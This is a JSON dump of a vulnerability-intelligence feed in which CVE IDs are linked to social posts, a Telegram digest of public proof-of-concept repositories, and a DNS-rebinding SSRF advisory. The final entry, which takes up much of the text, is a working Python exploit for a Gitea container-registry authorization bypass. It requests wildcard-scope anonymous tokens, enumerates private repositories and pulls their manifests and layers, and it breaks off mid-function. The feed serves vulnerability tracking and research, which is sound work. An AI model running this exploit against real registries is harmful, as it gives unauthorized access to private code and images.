"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27173", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppzqgbc362k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27173: \u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 JWT-\u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0432 Kubernetes Executors\n\n\n\nhttps://kripta.biz/posts/2CA92F44-FA4F-4D24-AB68-CAA6EDF24266", "creation_timestamp": "2026-07-03T07:32:20.803272Z"}, {"uuid": "58777fa8-4a67-47fd-bf99-30c26308560d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27671", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpuegonctc2l", "content": "SAP\u3001\u6708\u4f8b\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b - \u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u304c4\u4ef6\n\nSAP\u306f\u73fe\u5730\u6642\u95932026\u5e746\u67089\u65e5\u3001\u3042\u3089\u305f\u306b15\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u305f\u3002\u6df1\u523b\u306a\u8106\u5f31\u6027\u3082\u542b\u307e\u308c\u308b\u3002\n\n...\n\n\u300cCVE-2026-44748\u300d\u306f\u3001\u300cSAP NetWeaver AS ABAP\u300d\u300c\u540cABAP Platform\u300d\u306b\u304a\u3044\u3066\u3001SAML\u8a8d\u8a3c\u306b\u304a\u3051\u308bXML\u7f72\u540d\u30e9\u30c3\u30d4\u30f3\u30b0\u306e\u8106\u5f31\u6027\u3002\u307e\u305f\u4e21\u88fd\u54c1\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30b5\u30fc\u30d0\u306b\u304a\u3044\u3066\u3001\u30e1\u30e2\u30ea\u7834\u58ca\u306e\u8106\u5f31\u6027\u300cCVE-2026-27671\u300d\u304c\u5224\u660e\u3057\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-07-05T00:54:24.250152Z"}, {"uuid": "b0f1f674-35ac-4024-af55-1a9cf78bd0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpw5rjnwws2t", "content": "\ud83d\udfe0 CVE-2026-27771 - High (8.2)\n\nGitea versions up to and including 1.26.1 have insufficient permission checks for Composer packag...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27771/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-05T18:00:32.615871Z"}, {"uuid": "846ec73e-8b75-45ab-984c-ff111d73ab1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27875", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mtk2trnavy2t", "content": "~Cisa~\nLocal attackers can extract user credentials from system memory due to cleartext storage in Simplex Incident Manager <=V2.01.\n-\nIOCs: CVE-2026-27875\n-\n#CVE202627875 #ICS #ThreatIntel", "creation_timestamp": "2026-08-20T20:16:55.346071Z"}, {"uuid": "f586f6a4-d788-4a38-9fb7-7045ef44bb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msso2fpdxl2n", "content": "Details and PoC for CVE-2026-27912 (ResetNightmare) are public. This Kerberos flaw lets attackers reset AD passwords and gain SYSTEM.\n\n#CVE202627912 #ResetNightmare #Kerberos #ActiveDirectory #PrivilegeEscalation #InfoSec", "creation_timestamp": "2026-08-11T12:56:45.578824Z"}, {"uuid": "e9a38b86-d0d1-484f-8ad5-b40954726619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3msspa6jc4m2o", "content": "[RSS] Exploiting AD ResetNightmare (CVE-2026-27912) and KerberLoss (CVE-2026-25177) from Linux\n\n\n cravaterouge.com -> \n\n\nOriginal->", "creation_timestamp": "2026-08-11T13:17:52.643059Z"}, {"uuid": "ecf4c094-f963-48ab-b5c8-d0597697edd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27780", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpyifos7uh2e", "content": "CVE-2026-27780 - gitea open source git server\nGitea versions before 1.26.0 have a security issue that can allow someone to push changes to a protected branch if the Gitea server receives very large input. This is a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#gitea #CVE #infosec", "creation_timestamp": "2026-07-06T16:16:05.206182Z"}, {"uuid": "412d0b5c-3bfe-4c34-b90d-38e82fb6e4aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27544", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msxvcwje7i2e", "content": "CVE-2026-27544\nA security flaw in QA Analytics versions up to 5.2.0.0 allows attackers to run malicious code without needing a password. This puts sensitive data at risk and could lead to system compromise. Update to the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-13T14:50:05.898449Z"}, {"uuid": "b5d58fa5-bb78-4927-a576-745038759424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27823", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq2op6co7e2i", "content": "CVE-2026-27823 - egroupware\nA critical security flaw in EGroupware lets an attacker with a user account execute commands on the server. This could lead to unauthorized access and data breaches. To\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#egroupware #composer #CVE #infosec", "creation_timestamp": "2026-07-07T13:14:04.856061Z"}, {"uuid": "a277f250-1878-4c05-94c6-3f5e06ba02a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27344", "type": "published-proof-of-concept", "source": "Telegram/z0gzrCa3CJrXCwNopDj7QRmjKir0wDRnRghi1tuDuWgHZEI", "content": "", "creation_timestamp": "2026-08-16T00:00:15.083335Z"}, {"uuid": "94aaae8c-a35d-4a95-8c67-2829c2b3304e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30084", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for vulnerability research and security analysis.\n\n1\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Backup & Migration \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/LucasM0ntes/POC-CVE-2026-1357\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows attackers to upload arbitrary files and achieve remote code execution without authentication.\nThe vulnerability chains two issues:\n\u2022 Crypto fail-open behavior\n\u2022 Path traversal vulnerability\nAttackers can upload a PHP web shell and execute arbitrary commands on the server.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 Server compromise\n\u2022 Full WordPress takeover\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server \u2013 Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA vulnerability in rldns DNS server version 1.3 allows attackers to trigger a heap-based out-of-bounds read, leading to a denial-of-service condition.\nThis occurs during DNS request handling and can crash the server.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands via a WebSocket-reachable script.\nThe issue stems from unsafe Bash arithmetic evaluation inside the application logic.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Privileged access compromise\n\u2022 Enterprise remote-access platform risk\n\n4\ufe0f\u20e3 CVE-2026-25049\n\ud83c\udfaf n8n Workflow Automation \u2013 Git Node RCE\n\n\ud83d\udd17 Technical Write-up\nhttps://gist.github.com/alon710/f3522fe1631994e1a76ab218a2b4d685\n\n\ud83e\udde0 Overview\nA remote code execution vulnerability exists in the n8n Git node where malicious Git configuration values can trigger command execution.\nThe vulnerability occurs because untrusted data is interpreted as executable commands.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Workflow automation compromise\n\u2022 CVSS 9.4\n\n5\ufe0f\u20e3 CVE-2026-0590\n\ud83c\udfaf Online Product Reservation System \u2013 SQL Injection\n\n\ud83d\udd17 PoC Reference\nhttps://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_checkout_delete.php.md\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability exists in Online Product Reservation System 1.0 in the delete.php endpoint.\nManipulation of the POST parameter ID allows attackers to execute arbitrary SQL queries remotely.\n\n\u2699\ufe0f Impact\n\u2022 Database access\n\u2022 Data leakage\n\u2022 Potential system compromise\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:24.008661Z"}, {"uuid": "ec999c18-40e3-4611-afad-9faba30bf552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27302", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mstf5jgqok2v", "content": "CVE-2026-27302 - adobe campaign classic\nAdobe Campaign Classic allows unauthorized code to be executed by an attacker, potentially leading to data theft or system compromise. This vulnerability can be exploited without\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#adobe #CVE #infosec", "creation_timestamp": "2026-08-11T19:50:05.706753Z"}, {"uuid": "8a84c97a-0b4f-49ce-bd1f-64be93884b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27544", "type": "published-proof-of-concept", "source": "Telegram/hhF5X9l-443ICg7ZpS9-uwcd7Zf9SpAraBV0rI1xxNpeeM0", "content": "", "creation_timestamp": "2026-08-16T00:00:46.379845Z"}, {"uuid": "39c21e66-737d-4e89-8d58-3836554f72dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27826", "type": "seen", "source": "https://gist.github.com/alon710/bb39e6fca7620239b1bd8e5a02d98b4e", "content": "# GHSA-489G-7RXV-6C8Q: CVE-2026-27826: DNS Rebinding TOCTOU Bypass in mcp-atlassian Server\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-10\n> **Full Report:** https://cvereports.com/reports/GHSA-489G-7RXV-6C8Q\n\n## Summary\nA DNS-rebinding Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the mcp-atlassian server before version 0.17.0. The server processes unauthenticated client-supplied URLs via custom headers, validating the destination IP but failing to pin the resolved address before connecting. This allows remote adjacent-network attackers to achieve Server-Side Request Forgery (SSRF) and access restricted resources or cloud metadata services.\n\n## TL;DR\nUnauthenticated users can bypass SSRF protections via DNS rebinding (TOCTOU) in mcp-atlassian, gaining access to internal endpoints and cloud provider metadata.\n\n## Technical Details\n\n- **CWE ID**: CWE-918, CWE-367\n- **Attack Vector**: Adjacent Network (AV:A)\n- **CVSS Score**: 8.2\n- **EPSS Score**: 14.96%\n- **Exploit Status**: Proof of Concept / Active\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- mcp-atlassian\n- **mcp-atlassian**: < 0.17.0 (Fixed in: `0.17.0`)\n\n## Mitigation\n\n- Upgrade mcp-atlassian to version 0.17.0 or higher\n- Configure the MCP_ALLOWED_URL_DOMAINS environment variable\n- Apply network-level firewall blocks (iptables) to restrict egress to internal ranges\n\n**Remediation Steps:**\n1. Verify current version of mcp-atlassian using pip show mcp-atlassian\n2. Update the package to version 0.17.0 or above: pip install --upgrade mcp-atlassian\n3. Restart the server process to apply the changes\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/GHSA-489G-7RXV-6C8Q) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-10T18:42:23.218032Z"}, {"uuid": "17d434d9-2ce6-4ef7-b082-91672e9c1f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://gist.github.com/edenzaraf/d6679632da2bfbb60b14fb092663f59d", "content": "\n#!/usr/bin/env python3\n'''\nCVE-2026-27771 Exploit\nAuthor: Eden Zaraf\nDescription: Gitea Container Registry - Unauthorized Private Image Access (Missing Authorization)\n             Exploits CWE-862 to enumerate and pull private container images via anonymous ghost tokens.\nDisclaimer: For authorized penetration testing only. Use only on systems you own or have written permission to test.\n'''\n\nimport requests\nimport json\nimport logging\nimport sys\nimport time\nimport re\nimport base64\nimport io\nimport tarfile\nimport hashlib\nfrom typing import Dict, List, Optional, Tuple, Any\nfrom urllib.parse import urljoin, urlparse\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\n# Suppress SSL warnings for testing environments\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# Configure logging\nlogging.basicConfig(\n    level=logging.INFO,\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n    handlers=[\n        logging.StreamHandler(sys.stdout),\n        logging.FileHandler('cve_2026_27771_exploit.log')\n    ]\n)\nlogger = logging.getLogger('CVE-2026-27771')\n\n# ============================================================================\n# Configuration Section\n# ============================================================================\n\n# Target configuration\nTARGET_HOST = \"\"  # Change to your target\nVERIFY_SSL = False\nTIMEOUT = 30\nMAX_RETRIES = 3\nRETRY_DELAY = 2\n\n# Output configuration\nOUTPUT_DIR = \"cve_2026_27771_output\"\nSAVE_LAYERS = False  # Set to True to save pulled image layers to disk\n\n# ============================================================================\n# Helper Classes and Functions\n# ============================================================================\n\nclass GiteaContainerRegistryExploit:\n    \"\"\"Exploit class for CVE-2026-27771 - Gitea Container Registry Auth Bypass\"\"\"\n    \n    def __init__(self, target: str, verify_ssl: bool = False, timeout: int = 30):\n        self.target = target.rstrip('/')\n        self.verify_ssl = verify_ssl\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'Accept': 'application/json',\n            'User-Agent': '0'\n        })\n        self.token = None\n        self.repositories = []\n        self.extracted_layers = []\n        self.realm = None\n        self.service = None\n\n        logger.info(f\"Initialized GiteaContainerRegistryExploit for target: {self.target}\")\n        logger.info(f\"SSL verification: {verify_ssl}\")\n        logger.info(f\"Request timeout: {timeout}s\")\n    \n    def _make_request(self, method: str, path: str, **kwargs) -> requests.Response:\n        \"\"\"Make HTTP request with retry logic and error handling\"\"\"\n        url = urljoin(f\"{self.target}/\", path.lstrip('/'))\n        \n        default_params = {\n            'verify': self.verify_ssl,\n            'timeout': self.timeout\n        }\n        \n        # Merge default params with provided kwargs\n        params = {**default_params, **kwargs}\n        \n        for attempt in range(MAX_RETRIES):\n            try:\n                logger.debug(f\"Request attempt {attempt + 1}/{MAX_RETRIES}: {method} {url}\")\n                response = self.session.request(method, url, **params)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n                return response\n            except requests.exceptions.Timeout as e:\n                logger.warning(f\"Request timeout (attempt {attempt + 1}): {str(e)}\")\n                if attempt < MAX_RETRIES - 1:\n                    time.sleep(RETRY_DELAY)\n            except requests.exceptions.ConnectionError as e:\n                logger.error(f\"Connection error: {str(e)}\")\n                raise\n            except requests.exceptions.RequestException as e:\n                logger.error(f\"Request failed: {str(e)}\")\n                raise\n        \n        raise Exception(f\"Request failed after {MAX_RETRIES} attempts\")\n    \n    def step1_confirm_registry(self) -> bool:\n        \"\"\"Step 1: Confirm registry reachability via GET /v2/\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 1: Confirming Container Registry Reachability\")\n        logger.info(\"=\" * 60)\n\n        try:\n            response = self._make_request('GET', '/v2/')\n\n            if response.status_code == 401:\n                logger.info(f\"[SUCCESS] Registry confirmed - HTTP 401 received from /v2/\")\n                logger.info(f\"Response headers: {dict(response.headers)}\")\n\n                # Check for WWW-Authenticate header\n                auth_header = response.headers.get('WWW-Authenticate', '')\n                if 'Bearer' in auth_header:\n                    logger.info(f\"Bearer realm detected: {auth_header}\")\n\n                    # Extract realm and service from Bearer challenge\n                    # Format: Bearer realm=\"https://...\",service=\"...\",scope=\"...\"\n                    realm_match = re.search(r'realm=\"([^\"]+)\"', auth_header)\n                    service_match = re.search(r'service=\"([^\"]+)\"', auth_header)\n\n                    if realm_match:\n                        self.realm = realm_match.group(1)\n                        logger.info(f\"Extracted realm: {self.realm}\")\n\n                    if service_match:\n                        self.service = service_match.group(1)\n                        logger.info(f\"Extracted service: {self.service}\")\n\n                    if not self.realm:\n                        logger.warning(\"No realm extracted, will use registry URL for token endpoint\")\n                        self.realm = self.target\n\n                    if not self.service:\n                        self.service = \"container_registry\"\n                        logger.info(f\"Using default service: {self.service}\")\n                else:\n                    logger.warning(\"No Bearer auth header found - may not be standard OCI registry\")\n\n                return True\n            else:\n                logger.error(f\"[FAILURE] Expected HTTP 401, got {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return False\n\n        except Exception as e:\n            logger.error(f\"Step 1 failed with error: {str(e)}\")\n            return False\n    \n    def step2_get_ghost_token(self) -> Optional[str]:\n        \"\"\"Step 2: Obtain anonymous ghost token with wildcard scope\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 2: Obtaining Anonymous Ghost Token\")\n        logger.info(\"=\" * 60)\n\n        try:\n            # Build token URL using realm from step 1\n            if not self.realm:\n                logger.error(\"No realm found - run step 1 first\")\n                return None\n\n            service = self.service or \"container_registry\"\n\n            # Try multiple scope formats that may bypass authorization\n            scopes = [\n                f\"registry:catalog:*\",  # Catalog access\n                f\"repository:*:pull\",\n                f\"repository:*:*\",\n                f\"*:*:*\",\n                \"\",  # Empty scope may grant broad access\n            ]\n\n            token = None\n\n            # Determine token endpoints to try\n            parsed_realm = urlparse(self.realm)\n            realm_path = parsed_realm.path if parsed_realm.path else \"/v2/token\"\n\n            token_endpoints = [\n                (self.realm, True),  # realm as full URL\n                (realm_path, False),  # realm path on registry host\n                (\"/v2/token\", False),  # standard path on registry host\n            ]\n\n            for endpoint, is_full_url in token_endpoints:\n                if not endpoint:\n                    continue\n\n                for scope in scopes:\n                    try:\n                        if scope:\n                            query = f\"?service={service}&scope={scope}\"\n                        else:\n                            query = f\"?service={service}\"\n\n                        logger.info(f\"Attempting token request with scope: '{scope}' (endpoint: {endpoint})\")\n\n                        if is_full_url:\n                            token_url = endpoint + query\n                            response = self.session.request('GET', token_url, verify=self.verify_ssl, timeout=self.timeout)\n                        else:\n                            response = self._make_request('GET', endpoint + query)\n\n                        if response.status_code == 200:\n                            try:\n                                token_data = response.json()\n                                token = token_data.get('token', None)\n\n                                if token:\n                                    logger.info(f\"[SUCCESS] Ghost token obtained successfully\")\n                                    logger.info(f\"Token preview: {token[:50]}...\")\n                                    self.token = token\n\n                                    # Decode JWT for analysis (no signature verification)\n                                    try:\n                                        token_parts = token.split('.')\n                                        if len(token_parts) == 3:\n                                            # Base64 decode header and payload\n                                            header_b64 = token_parts[0] + '=' * (4 - len(token_parts[0]) % 4)\n                                            payload_b64 = token_parts[1] + '=' * (4 - len(token_parts[1]) % 4)\n\n                                            header = json.loads(base64.b64decode(header_b64).decode('utf-8'))\n                                            payload = json.loads(base64.b64decode(payload_b64).decode('utf-8'))\n\n                                            logger.info(f\"Token header: {json.dumps(header, indent=2)}\")\n                                            logger.info(f\"Token payload: {json.dumps(payload, indent=2)}\")\n\n                                            # Check for ghost user indicator\n                                            user_id = payload.get('user_id', payload.get('sub', 'unknown'))\n                                            if user_id == -1 or user_id == '-1':\n                                                logger.warning(\"[!] Confirmed ghost token (UserID: -1)\")\n                                            else:\n                                                logger.info(f\"Token user identifier: {user_id}\")\n                                    except Exception as je:\n                                        logger.warning(f\"Could not decode JWT token: {str(je)}\")\n\n                                    return token\n                            except json.JSONDecodeError as e:\n                                logger.debug(f\"Invalid JSON response: {str(e)}\")\n                    except requests.exceptions.RequestException as e:\n                        logger.debug(f\"Request failed for scope '{scope}': {str(e)}\")\n\n            logger.error(\"[FAILURE] Could not obtain token with any scope variant\")\n            return None\n\n        except Exception as e:\n            logger.error(f\"Step 2 failed with error: {str(e)}\")\n            return None\n    \n    def step3_enumerate_catalog(self) -> List[str]:\n        \"\"\"Step 3: Enumerate private repositories via /v2/_catalog\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 3: Enumerating Container Repositories\")\n        logger.info(\"=\" * 60)\n\n        if not self.token:\n            logger.error(\"[FAILURE] No token available - run step 2 first\")\n            return []\n\n        all_repositories = []\n\n        try:\n            headers = {'Authorization': f'Bearer {self.token}'}\n\n            # Try catalog endpoint with pagination\n            last = None\n            n = 100  # Page size\n\n            for page in range(10):  # Max 10 pages\n                logger.info(f\"Fetching catalog page {page + 1}...\")\n\n                if last:\n                    path = f'/v2/_catalog?n={n}&last={last}'\n                else:\n                    path = f'/v2/_catalog?n={n}'\n\n                response = self._make_request('GET', path, headers=headers)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n\n                if response.status_code == 200:\n                    try:\n                        catalog_data = response.json()\n                        logger.debug(f\"Full response: {catalog_data}\")\n\n                        repositories = catalog_data.get('repositories', [])\n                        logger.info(f\"Page {page + 1}: Found {len(repositories)} repositories\")\n\n                        if repositories:\n                            all_repositories.extend(repositories)\n                            logger.info(f\"Repositories: {repositories}\")\n\n                        # Check for pagination\n                        if 'Link' in response.headers or len(repositories) < n:\n                            logger.info(\"No more pages\")\n                            break\n\n                        # Set last for next iteration\n                        if repositories:\n                            last = repositories[-1]\n\n                    except json.JSONDecodeError as e:\n                        logger.error(f\"[FAILURE] Invalid JSON response: {str(e)}\")\n                        logger.error(f\"Response body: {response.text[:500]}\")\n                        break\n                else:\n                    logger.error(f\"[FAILURE] Catalog endpoint returned HTTP {response.status_code}\")\n                    logger.error(f\"Response body: {response.text[:500]}\")\n                    break\n\n            if all_repositories:\n                logger.info(f\"[SUCCESS] Found {len(all_repositories)} total repositories:\")\n                for repo in all_repositories:\n                    logger.info(f\"  - {repo}\")\n\n                self.repositories = all_repositories\n\n                # Verify some are likely private (check for patterns)\n                private_repos = [r for r in all_repositories if 'private' in r.lower() or 'internal' in r.lower() or 'secret' in r.lower()]\n                if private_repos:\n                    logger.warning(f\"[!] Detected potentially private repositories: {private_repos}\")\n                    logger.warning(\"[!] Confirmed unauthorized access to private images\")\n\n                return all_repositories\n            else:\n                logger.info(\"Catalog endpoint returned HTTP 200 but with empty repositories\")\n                logger.warning(\"[!] Target registry appears to be EMPTY (no images pushed yet)\")\n                logger.warning(\"[!] However, vulnerability is PROVEN: Ghost token successfully accessed catalog\")\n                logger.warning(\"[!] This demonstrates CVE-2026-27771: Unauthorized token generation works\")\n                return []\n\n        except Exception as e:\n            logger.error(f\"Step 3 failed with error: {str(e)}\")\n            import traceback\n            logger.error(traceback.format_exc())\n            return []\n    \n    def step4_list_tags(self, repository: str) -> List[str]:\n        \"\"\"List tags for a specific repository\"\"\"\n        logger.info(f\"Listing tags for repository: {repository}\")\n        \n        try:\n            path = f\"/v2/{repository}/tags/list\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    tag_data = response.json()\n                    tags = tag_data.get('tags', [])\n                    logger.info(f\"Tags for {repository}: {tags}\")\n                    return tags\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid JSON for tags: {str(e)}\")\n                    return []\n            else:\n                logger.error(f\"Tags endpoint returned HTTP {response.status_code}\")\n                return []\n                \n        except Exception as e:\n            logger.error(f\"Failed to list tags: {str(e)}\")\n            return []\n    \n    def step5_pull_manifest(self, repository: str, tag: str) -> Optional[Dict[str, Any]]:\n        \"\"\"Pull the manifest for a specific repository tag\"\"\"\n        logger.info(f\"Pulling manifest for {repository}:{tag}\")\n        \n        try:\n            path = f\"/v2/{repository}/manifests/{tag}\"\n            headers = {\n                'Authorization': f'Bearer {self.token}',\n                'Accept': 'application/vnd.docker.distribution.manifest.v2+json'\n            }\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    manifest = response.json()\n                    logger.info(f\"Manifest downloaded successfully for {repository}:{tag}\")\n                    \n                    # Extract layer digests\n                    layers = manifest.get('layers', [])\n                    if layers:\n                        logger.info(f\"Found {len(layers)} layers:\")\n                        for layer in layers:\n                            digest = layer.get('digest', 'unknown')\n                            size = layer.get('size', 0)\n                            logger.info(f\"  - Digest: {digest} (Size: {size} bytes)\")\n                    \n                    # Extract config digest\n                    config = manifest.get('config', {})\n                    if config:\n                        logger.info(f\"Config digest: {config.get('digest', 'N/A')}\")\n                    \n                    return manifest\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid manifest JSON: {str(e)}\")\n                    return None\n            else:\n                logger.error(f\"Manifest endpoint returned HTTP {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull manifest: {str(e)}\")\n            return None\n    \n    def step6_pull_layer(self, repository: str, digest: str) -> Optional[bytes]:\n        \"\"\"Pull a specific image layer by digest\"\"\"\n        logger.info(f\"Pulling layer {digest[:50]}...\")\n        \n        try:\n            path = f\"/v2/{repository}/blobs/{digest}\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers, stream=True)\n            \n            if response.status_code == 200:\n                logger.info(f\"Layer downloaded successfully: {digest[:50]}...\")\n                layer_data = response.content\n                self.extracted_layers.append({\n                    'repository': repository,\n                    'digest': digest,\n                    'size': len(layer_data),\n                    'data': layer_data if SAVE_LAYERS else None\n                })\n                \n                # If saving layers, write to disk\n                if SAVE_LAYERS:\n                    import os\n                    os.makedirs(f\"{OUTPUT_DIR}/layers\", exist_ok=True)\n                    filename = f\"{OUTPUT_DIR}/layers/{repository.replace('/', '_')}_{digest.replace(':', '_')}.tar.gz\"\n                    with open(filename, 'wb') as f:\n                        f.write(layer_data)\n                    logger.info(f\"Layer saved to: {filename}\")\n                    \n                    # Try to extract tar contents for analysis\n                    try:\n                        with tarfile.open(fileobj=io.BytesIO(layer_data), mode='r:gz') as tar:\n                            logger.info(f\"Layer contents ({len(tar.getmembers())} files):\")\n                            for member in tar.getmembers()[:20]:  # Show first 20 files\n                                logger.info(f\"  - {member.name} ({member.size} bytes)\")\n                    except Exception as te:\n                        logger.warning(f\"Could not extract tar: {str(te)}\")\n                \n                return layer_data\n            else:\n                logger.error(f\"Layer endpoint returned HTTP {response.status_code}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull layer: {str(e)}\")\n            return None\n    \n    def full_exploit_chain(self) -> Dict[str, Any]:\n        \"\"\"Execute full exploit chain and return results\"\"\"\n        results = {\n            